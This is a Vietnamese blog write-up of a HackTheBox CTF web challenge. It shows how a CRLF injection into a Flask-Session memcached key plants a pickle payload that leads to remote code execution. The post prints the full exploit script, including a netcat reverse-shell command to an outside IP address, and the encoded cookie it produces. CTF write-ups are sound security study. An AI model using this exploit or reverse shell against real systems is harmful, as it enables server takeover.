- vừa được xem lúc

[Writeup] Web SerialFlow - Hackthebox Apocalypse 2024

0 0 2

Người đăng: Minh Tuấn Ngụy

Theo Viblo Asia

Đợt vừa rồi mình cùng các teammate có tham gia Hackthebox Apocalypse 2024. Sự kiện được open vào cuối tuần nhưng mà chẳng có ae nào tham gia, đành phải tham gia vào lúc sự kiện đã kết thúc và được reopen 😂. Tại đây có một challenge khá là "kì lạ" nên mình muốn chia sẻ tới mọi người.

Challenge này có thể download tại https://github.com/hackthebox/cyber-apocalypse-2024/raw/main/web/[Medium] SerialFlow/release/web_serialflow.zip

Description

  • SerialFlow is the main global network used by KORP, you have managed to reach a root server web interface by traversing KORP's external proxy network. Can you break into the root server and open pandoras box by revealing the truth behind KORP?

Level

  • Medium

Tổng quan

Sau khi tải source code về, sẽ có cấu trúc thư mục như sau:

CTF/cyber-apocalypse-2024/web_serialflow
➜ tree .
.
├── build-docker.sh
├── challenge
│ ├── application
│ │ ├── app.py
│ │ └── templates
│ │ └── index.html
│ ├── requirements.txt
│ └── run.py
├── conf
│ └── supervisord.conf
├── Dockerfile
├── entrypoint.sh
└── flag.txt 5 directories, 9 files

Chỉ cần chạy ./build-docker.sh và sau đó script sẽ làm công việc của nó. Sau khi chạy xong, website sẽ được chạy tại http://localhost:1337/ với một UI rất chất lượng ở đây được viết bằng javascript 😂

Đọc sơ qua source code, app được viết bằng python flask, được cài đặt các packages

RUN apk update && apk add --no-cache --update memcached libmemcached-dev zlib-dev build-base supervisor

Và các lib python

Flask==2.2.2
Flask-Session==0.4.0
pylibmc==1.6.3
Werkzeug==2.2.2

Config supervisor như sau

[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid [program:flask]
command=python /app/run.py
user=root
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0 [program:memcached]
command=memcached -u memcache -m 64
user=memcached
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

Phân tích

Ở đây ta có thể thấy rằng, app được code bằng python flask, có sử dụng memcached, và tại sao lại sử dụng memcached thì trong đoạn code có rõ ràng:

app = Flask(__name__) app.secret_key = uuid.uuid4() app.config["SESSION_TYPE"] = "memcached"
app.config["SESSION_MEMCACHED"] = pylibmc.Client(["127.0.0.1:11211"])
app.config.from_object(__name__) Session(app)

Sau một hồi research, thì biết rằng Memcached này được sử dụng trong Flask giúp cải thiện hiệu suất ứng dụng, giảm thời gian phản hồi và dễ dàng quản lý bộ nhớ, đồng thời cũng tạo điều kiện cho việc mở rộng hệ thống trong tương lai (theo ChatGPT ...)

Vậy memcached này được sử dụng để lưu trữ session cho flask, giúp flask chạy nhanh hơn, bên dưới đoạn code còn có đoạn set màu cho giao diện web, được lưu trữ giá trị vào trong session.

@app.route("/set")
def set(): uicolor = request.args.get("uicolor") if uicolor: session["uicolor"] = uicolor return redirect("/")

Mình cũng mất một hồi quanh quẩn ở đây, dự định tấn công SSTI với biến uicolor nhưng không thành công

Và cuối cùng có thể tìm ra chân lý với

Đọc một hồi bài viết https://btlfry.gitlab.io/notes/posts/memcached-command-injections-at-pylibmc/, thì mình chắc chắn đến 100% luôn rằng có thể khai thác với cách này vì source codo demo https://github.com/d0ge/proof-of-concept-labs/blob/main/pylibmc-flask-session/application.py với chall này quá giống nhau.

Đi sâu thêm một chút vào sessions.py của lib flask_session có thể thấy được đoạn sau:

class MemcachedSessionInterface(SessionInterface): serializer = pickle session_class = MemcachedSession ... def save_session(self, app, session, response): ... full_session_key = self.key_prefix + session.sid ... if not PY2: val = self.serializer.dumps(dict(session), 0) else: val = self.serializer.dumps(dict(session)) self.client.set(full_session_key, val, self._get_memcache_timeout( total_seconds(app.permanent_session_lifetime))) ...

Trong sessions.py của thư viện flask_session, có MemcachedSessionInterface class, đảm nhiệm việc quản lý Session sử dụng Memcached. Đoạn code trên là hàm save_session của class này, được dùng để lưu trữ dữ liệu Session vào Memcached.

Phương thức này tạo ra full_session_key sử dụng một key prefix và Session ID. Sau đó, nó sử dụng serializer pickle để serializer data session và lưu trữ nó vào Memcached thông qua phương thức set của client Memcached.

Sau khi lưu được session vào trong Memcached, phương thức open_session sẽ lấy full_session_key từ Memcached ra và đưa vào serializer.loads(). Do không có biện pháp bảo vệ nào => trigger RCE

def open_session(self, app, request):
... full_session_key = self.key_prefix + sid ... val = self.client.get(full_session_key) if val is not None: ... data = self.serializer.loads(val) # RCE vulnerability here ...

Tuy nhiên, để có thể control được full_session_key, lưu được payload vào Memcached để có thể RCE thì cần sử dụng thêm kỹ thuật nữa, đó là kỹ thuật CRLF. Nhưng để áp dụng được kỹ thuật này với session, cần phải encode \r\n thành \015\012 (bạn đọc có thể đọc source code python xử lý cookie tại https://github.com/enthought/Python-2.7.3/blob/master/Lib/Cookie.py)

Ví dụ: với cookie = '1\r\nget 2\r\nget 3' encode thành "1\015\012get 2\015\012get 3" gửi tới server => break được lệnh như hình dưới.

image.png

Vậy ta có thể set giá trị bất kỳ tới Memcached
Điều này có được nói rõ ràng trong blog mà mình đề cập bên trên. Để rõ hơn mọi người nên đọc blog trên nhé

Flow sẽ như sau:

  • Lợi dụng full_session_key chứa payload, kết hợp với việc sử dụng CLRF để có thể set payload vào Memcached, flask_session đọc session đã chứa payload từ Memcached => Pickle RCE

Đoạn code exploit được lấy từ bài viết gốc, mình chỉnh sửa lại một chút

import pickle
import os class RCE: def __reduce__(self): cmd = ('nc 172.30.58.249 12312 -e /bin/sh') return os.system, (cmd,) def generate_exploit(): payload = pickle.dumps(RCE(), 0) payload_size = len(payload) cookie = b'1\r\nset 1 0 2592000 ' cookie += str.encode(str(payload_size)) cookie += str.encode('\r\n') cookie += payload cookie += str.encode('\r\n') cookie += str.encode('get 1') pack = '' for x in list(cookie): if x > 64: pack += oct(x).replace("0o","\\") elif x < 8: pack += oct(x).replace("0o","\\00") else: pack += oct(x).replace("0o","\\0") return f"\"{pack}\"" x = generate_exploit()
print(x)
CTF/cyber-apocalypse-2024/web_serialflow via 🐍 v2.7.18 ➜ python3 exploit.py
"\061\015\012\163\145\164\040\061\040\060\040\062\065\071\062\060\060\060\040\066\065\015\012\143\160\157\163\151\170\012\163\171\163\164\145\155\012\160\060\012\050\126\156\143\040\061\067\062\056\063\060\056\065\070\056\062\064\071\040\061\062\063\061\062\040\055\145\040\057\142\151\156\057\163\150\012\160\061\012\164\160\062\012\122\160\063\012\056\015\012\147\145\164\040\061"

Truyền giá trị session nhận được vào request như hình dưới (lưu ý cần gửi 2 lần request liên tục, 1 lần là set payload vào trong memcached, 1 lần để flask đọc session)

Và RCE

Note: Có thể bật debug Memcached để kiểm tra nội dung được lưu trong Memcached thông qua chỉnh sửa file supervisor.conf

command=memcached -u memcache -m 64 -vvv

Bình luận

Bài viết tương tự

- vừa được xem lúc

Xây dựng API đơn giản với Flask, demo với Ngrok

Lời mở đầu. Team mình đợt này đang triển khai chương trình mỗi tuần một bài học, nghĩa là mỗi tuần một người trong team sẽ lên seminar cho mọi người về 1 kỹ thuật hoặc công nghệ gì đấy.

0 0 38

- vừa được xem lúc

Xây dựng ứng dụng web CRUD với Python và Flask - Phần một

Chào các bạn, hôm nay mình sẽ hướng dẫn cách dựng 1 ứng dụng web quản lý nhân viên CRUD (Create, Read, Update, Delete) bằng cách sử dụng Flask, một microframework cho Python. Project sẽ gồm có các tín

0 0 228

- vừa được xem lúc

Dockerize ứng dụng Python, Flask

Chào mừng các bạn đã quay trở lại với series học Docker và CICD của mình . Ở bài trước mình đã hướng dẫn các bạn cách dockerize một ứng dụng NodeJS, đồng thời cùng với đó là một số khái niệm và câu hỏ

0 0 29

- vừa được xem lúc

Deta - micro server miễn phí dành cho dev

Mở đầu. Đôi khi chúng ta cần một web server đơn giản, public ra internet để thực thi vài tác vụ linh tinh, hoặc để hosting một số file khi cần.

0 0 18

- vừa được xem lúc

Build Slack bot đơn giản bằng Flask

Hi mọi người, đây là tech blog đầu tiên của mình. . 1. Tạo Slack app.

0 0 20

- vừa được xem lúc

#2 Cài đặt ứng dụng Flask

Aplication setup. Một ứng dụng Flask là một instance (thể hiện) của class Flask.

0 0 3